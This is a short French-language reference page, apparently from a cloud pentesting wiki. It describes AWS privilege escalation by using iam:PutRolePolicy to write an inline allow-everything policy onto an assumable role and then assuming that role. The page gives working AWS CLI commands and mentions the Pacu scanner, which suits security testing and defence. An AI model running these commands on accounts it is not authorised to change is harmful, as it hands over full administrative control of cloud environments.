PutRolePolicy

iam:PutRolePolicy pour intégrer en ligne une politique autorisant tout sur un rôle que vous pouvez assumer.

1 min de lecturemis à jour le 12 oct. 2026florianamette1 contributeur
Demander à votre assistant (MCP)Modifier sur GitHub

iam:PutRolePolicy intègre en ligne une politique sur un rôle. Intégrez en ligne une instruction autorisant tout sur un rôle que vous pouvez assumer (ou transmettre à un service) et ce rôle devient administrateur.

Intégrer en ligne puis assumer#

bash
aws iam put-role-policy --role-name <assumable-role> --policy-name esc \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'
aws sts assume-role --role-arn arn:aws:iam::<acct>:role/<assumable-role> --role-session-name s

Notes d'exploitation#

  • Utile uniquement sur un rôle que vous pouvez atteindre : à combiner avec l'assomption de rôle ou une cible PassRole.
  • Ré-assumez après l'écriture en ligne pour que la session porte les nouvelles permissions.

Outils#

  • AWS CLI (iam put-role-policy, sts assume-role).
  • Pacu (iam__privesc_scan).

Références#